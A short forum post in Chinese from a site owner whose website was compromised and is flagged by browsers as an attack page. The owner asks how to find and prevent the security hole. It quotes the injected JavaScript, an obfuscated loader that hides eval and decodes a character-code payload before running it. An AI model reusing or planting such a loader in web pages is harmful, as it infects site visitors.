我们的网站遭到攻击。看起来下面的 javascript 被注入了该站点。某些浏览器(mozilla 等)打印“报告的攻击页面!” 访问页面时。
有谁知道如何找到安全漏洞并预防?
谢谢
<script>i=0;try{avasv=prototype;}catch(z){h="harCode";f=
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[0].split('f');v="e"+"va";}if(v)e=window[v+"l"];try{q=document.createElement("div");q.appendChild(q+"");}
catch(qwg){w=f;s=[];}r=String;z=((e)?h:"");for(;585!=i;i+=1){j=i;if(e)s=s+r["fromC"+((e)?z:12)](w[j]*1+42);}
if(v&&e&&r&&z&&h&&s&&f&&v)e(s);</script>